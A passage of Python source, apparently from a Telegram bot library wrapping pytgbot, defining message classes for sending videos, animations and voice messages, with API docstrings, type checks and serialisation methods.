Internet, or upload a new video using multipart/form-data. More info on Sending Files » :type video: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param duration: Duration of sent video in seconds :type duration: int :param width: Video width :type width: int :param height: Video height :type height: int :param thumb: Thumbnail of the file sent; can be ignored if thumbnail generation for the file is supported server-side. The thumbnail should be in JPEG format and less than 200 kB in size. A thumbnail's width and height should not exceed 320. Ignored if the file is not uploaded using multipart/form-data. Thumbnails can't be reused and can be only uploaded as a new file, so you can pass "attach://<file_attach_name>" if the thumbnail was uploaded using multipart/form-data under <file_attach_name>. More info on Sending Files » :type thumb: pytgbot.api_types.sendable.files.InputFile | str|unicode :param caption: Video caption (may also be used when resending videos by file_id), 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the video caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param supports_streaming: Pass True, if the uploaded video is suitable for streaming :type supports_streaming: bool :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, video, receiver=None, reply_id=DEFAULT_MESSAGE_ID, duration=None, width=None, height=None, thumb=None, caption=None, parse_mode=None, caption_entities=None, supports_streaming=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send video files, Telegram clients support mp4 videos (other formats may be sent as Document). On success, the sent Message is returned. Bots can currently send video files of up to 50 MB in size, this limit may be changed in the future. https://core.telegram.org/bots/api#sendvideo Parameters: :param video: Video to send. Pass a file_id as String to send a video that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get a video from the Internet, or upload a new video using multipart/form-data. More info on Sending Files » :type video: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param duration: Duration of sent video in seconds :type duration: int :param width: Video width :type width: int :param height: Video height :type height: int :param thumb: Thumbnail of the file sent; can be ignored if thumbnail generation for the file is supported server-side. The thumbnail should be in JPEG format and less than 200 kB in size. A thumbnail's width and height should not exceed 320. Ignored if the file is not uploaded using multipart/form-data. Thumbnails can't be reused and can be only uploaded as a new file, so you can pass "attach://<file_attach_name>" if the thumbnail was uploaded using multipart/form-data under <file_attach_name>. More info on Sending Files » :type thumb: pytgbot.api_types.sendable.files.InputFile | str|unicode :param caption: Video caption (may also be used when resending videos by file_id), 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the video caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param supports_streaming: Pass True, if the uploaded video is suitable for streaming :type supports_streaming: bool :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(VideoMessage, self).__init__() from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(video, InputFile, unicode_type, parameter_name="video") self.video = video assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(duration, None, int, parameter_name="duration") self.duration = duration assert_type_or_raise(width, None, int, parameter_name="width") self.width = width assert_type_or_raise(height, None, int, parameter_name="height") self.height = height assert_type_or_raise(thumb, None, InputFile, unicode_type, parameter_name="thumb") self.thumb = thumb assert_type_or_raise(caption, None, unicode_type, parameter_name="caption") self.caption = caption assert_type_or_raise(parse_mode, None, unicode_type, parameter_name="parse_mode") self.parse_mode = parse_mode assert_type_or_raise(caption_entities, None, list, parameter_name="caption_entities") self.caption_entities = caption_entities assert_type_or_raise(supports_streaming, None, bool, parameter_name="supports_streaming") self.supports_streaming = supports_streaming assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_video( video=self.video, chat_id=self.receiver, reply_to_message_id=self.reply_id, duration=self.duration, width=self.width, height=self.height, thumb=self.thumb, caption=self.caption, parse_mode=self.parse_mode, caption_entities=self.caption_entities, supports_streaming=self.supports_streaming, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this VideoMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(VideoMessage, self).to_array() if isinstance(self.video, InputFile): array['video'] = self.video.to_array() # type InputFile elif isinstance(self.video, str): array['video'] = u(self.video) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['duration'] = int(self.duration) # type int array['width'] = int(self.width) # type int array['height'] = int(self.height) # type int if isinstance(self.thumb, InputFile): array['thumb'] = self.thumb.to_array() # type InputFile elif isinstance(self.thumb, str): array['thumb'] = u(self.thumb) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if array['caption'] = u(self.caption) # py2: type unicode, py3: type str array['parse_mode'] = u(self.parse_mode) # py2: type unicode, py3: type str array['caption_entities'] = PytgbotApiBot._as_array(self.caption_entities) # type list of MessageEntity array['supports_streaming'] = bool(self.supports_streaming) # type bool array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the VideoMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(VideoMessage, VideoMessage).validate_array(array) if isinstance(array.get('video'), InputFile): data['video'] = InputFile.from_array(array.get('video')) elif isinstance(array.get('video'), str): data['video'] = u(array.get('video')) else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['duration'] = int(array.get('duration')) if array.get('duration') is not None else None data['width'] = int(array.get('width')) if array.get('width') is not None else None data['height'] = int(array.get('height')) if array.get('height') is not None else None if array.get('thumb') is None: data['thumb'] = None elif isinstance(array.get('thumb'), InputFile): data['thumb'] = InputFile.from_array(array.get('thumb')) elif isinstance(array.get('thumb'), str): data['thumb'] = u(array.get('thumb')) else: raise TypeError('Unknown type, must be one of InputFile, str or None.') # end if data['caption'] = u(array.get('caption')) if array.get('caption') is not None else None data['parse_mode'] = u(array.get('parse_mode')) if array.get('parse_mode') is not None else None data['caption_entities'] = MessageEntity.from_array_list(array.get('caption_entities'), list_level=1) if array.get('caption_entities') is not None else None data['supports_streaming'] = bool(array.get('supports_streaming')) if array.get('supports_streaming') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new VideoMessage from a given dictionary. :return: new VideoMessage instance. :rtype: VideoMessage """ if not array: # None or {} return None # end if data = VideoMessage.validate_array(array) return VideoMessage(**data) # end def from_array def __str__(self): """ Implements `str(videomessage_instance)` """ return "VideoMessage(video={self.video!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, duration={self.duration!r}, width={self.width!r}, height={self.height!r}, thumb={self.thumb!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, supports_streaming={self.supports_streaming!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(videomessage_instance)` """ return "VideoMessage(video={self.video!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, duration={self.duration!r}, width={self.width!r}, height={self.height!r}, thumb={self.thumb!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, supports_streaming={self.supports_streaming!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in videomessage_instance` """ return ( key in ["video", "receiver", "reply_id", "duration", "width", "height", "thumb", "caption", "parse_mode", "caption_entities", "supports_streaming", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class VideoMessage class AnimationMessage(ReturnableMessageBase): """ Use this method to send animation files (GIF or H.264/MPEG-4 AVC video without sound). On success, the sent Message is returned. Bots can currently send animation files of up to 50 MB in size, this limit may be changed in the future. https://core.telegram.org/bots/api#sendanimation Parameters: :param animation: Animation to send. Pass a file_id as String to send an animation that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get an animation from the Internet, or upload a new animation using multipart/form-data. More info on Sending Files » :type animation: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param duration: Duration of sent animation in seconds :type duration: int :param width: Animation width :type width: int :param height: Animation height :type height: int :param thumb: Thumbnail of the file sent; can be ignored if thumbnail generation for the file is supported server-side. The thumbnail should be in JPEG format and less than 200 kB in size. A thumbnail's width and height should not exceed 320. Ignored if the file is not uploaded using multipart/form-data. Thumbnails can't be reused and can be only uploaded as a new file, so you can pass "attach://<file_attach_name>" if the thumbnail was uploaded using multipart/form-data under <file_attach_name>. More info on Sending Files » :type thumb: pytgbot.api_types.sendable.files.InputFile | str|unicode :param caption: Animation caption (may also be used when resending animation by file_id), 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the animation caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, animation, receiver=None, reply_id=DEFAULT_MESSAGE_ID, duration=None, width=None, height=None, thumb=None, caption=None, parse_mode=None, caption_entities=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send animation files (GIF or H.264/MPEG-4 AVC video without sound). On success, the sent Message is returned. Bots can currently send animation files of up to 50 MB in size, this limit may be changed in the future. https://core.telegram.org/bots/api#sendanimation Parameters: :param animation: Animation to send. Pass a file_id as String to send an animation that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get an animation from the Internet, or upload a new animation using multipart/form-data. More info on Sending Files » :type animation: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param duration: Duration of sent animation in seconds :type duration: int :param width: Animation width :type width: int :param height: Animation height :type height: int :param thumb: Thumbnail of the file sent; can be ignored if thumbnail generation for the file is supported server-side. The thumbnail should be in JPEG format and less than 200 kB in size. A thumbnail's width and height should not exceed 320. Ignored if the file is not uploaded using multipart/form-data. Thumbnails can't be reused and can be only uploaded as a new file, so you can pass "attach://<file_attach_name>" if the thumbnail was uploaded using multipart/form-data under <file_attach_name>. More info on Sending Files » :type thumb: pytgbot.api_types.sendable.files.InputFile | str|unicode :param caption: Animation caption (may also be used when resending animation by file_id), 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the animation caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(AnimationMessage, self).__init__() from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(animation, InputFile, unicode_type, parameter_name="animation") self.animation = animation assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(duration, None, int, parameter_name="duration") self.duration = duration assert_type_or_raise(width, None, int, parameter_name="width") self.width = width assert_type_or_raise(height, None, int, parameter_name="height") self.height = height assert_type_or_raise(thumb, None, InputFile, unicode_type, parameter_name="thumb") self.thumb = thumb assert_type_or_raise(caption, None, unicode_type, parameter_name="caption") self.caption = caption assert_type_or_raise(parse_mode, None, unicode_type, parameter_name="parse_mode") self.parse_mode = parse_mode assert_type_or_raise(caption_entities, None, list, parameter_name="caption_entities") self.caption_entities = caption_entities assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_animation( animation=self.animation, chat_id=self.receiver, reply_to_message_id=self.reply_id, duration=self.duration, width=self.width, height=self.height, thumb=self.thumb, caption=self.caption, parse_mode=self.parse_mode, caption_entities=self.caption_entities, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this AnimationMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(AnimationMessage, self).to_array() if isinstance(self.animation, InputFile): array['animation'] = self.animation.to_array() # type InputFile elif isinstance(self.animation, str): array['animation'] = u(self.animation) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['duration'] = int(self.duration) # type int array['width'] = int(self.width) # type int array['height'] = int(self.height) # type int if isinstance(self.thumb, InputFile): array['thumb'] = self.thumb.to_array() # type InputFile elif isinstance(self.thumb, str): array['thumb'] = u(self.thumb) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if array['caption'] = u(self.caption) # py2: type unicode, py3: type str array['parse_mode'] = u(self.parse_mode) # py2: type unicode, py3: type str array['caption_entities'] = PytgbotApiBot._as_array(self.caption_entities) # type list of MessageEntity array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the AnimationMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(AnimationMessage, AnimationMessage).validate_array(array) if isinstance(array.get('animation'), InputFile): data['animation'] = InputFile.from_array(array.get('animation')) elif isinstance(array.get('animation'), str): data['animation'] = u(array.get('animation')) else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['duration'] = int(array.get('duration')) if array.get('duration') is not None else None data['width'] = int(array.get('width')) if array.get('width') is not None else None data['height'] = int(array.get('height')) if array.get('height') is not None else None if array.get('thumb') is None: data['thumb'] = None elif isinstance(array.get('thumb'), InputFile): data['thumb'] = InputFile.from_array(array.get('thumb')) elif isinstance(array.get('thumb'), str): data['thumb'] = u(array.get('thumb')) else: raise TypeError('Unknown type, must be one of InputFile, str or None.') # end if data['caption'] = u(array.get('caption')) if array.get('caption') is not None else None data['parse_mode'] = u(array.get('parse_mode')) if array.get('parse_mode') is not None else None data['caption_entities'] = MessageEntity.from_array_list(array.get('caption_entities'), list_level=1) if array.get('caption_entities') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new AnimationMessage from a given dictionary. :return: new AnimationMessage instance. :rtype: AnimationMessage """ if not array: # None or {} return None # end if data = AnimationMessage.validate_array(array) return AnimationMessage(**data) # end def from_array def __str__(self): """ Implements `str(animationmessage_instance)` """ return "AnimationMessage(animation={self.animation!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, duration={self.duration!r}, width={self.width!r}, height={self.height!r}, thumb={self.thumb!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(animationmessage_instance)` """ return "AnimationMessage(animation={self.animation!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, duration={self.duration!r}, width={self.width!r}, height={self.height!r}, thumb={self.thumb!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in animationmessage_instance` """ return ( key in ["animation", "receiver", "reply_id", "duration", "width", "height", "thumb", "caption", "parse_mode", "caption_entities", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class AnimationMessage class VoiceMessage(ReturnableMessageBase): """ Use this method to send audio files, if you want Telegram clients to display the file as a playable voice message. For this to work, your audio must be in an .OGG file encoded with OPUS (other formats may be sent as Audio or Document). On success, the sent Message is returned. Bots can currently send voice messages of up to 50 MB in size, this limit may be changed in the future. https://core.telegram.org/bots/api#sendvoice Parameters: :param voice: Audio file to send. Pass a file_id as String to send a file that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get a file from the Internet, or upload a new one using multipart/form-data. More info on Sending Files » :type voice: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param caption: Voice message caption, 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the voice message caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param duration: Duration of the voice message in seconds :type duration: int :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, voice, receiver=None, reply_id=DEFAULT_MESSAGE_ID, caption=None, parse_mode=None, caption_entities=None, duration=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send audio files, if you want 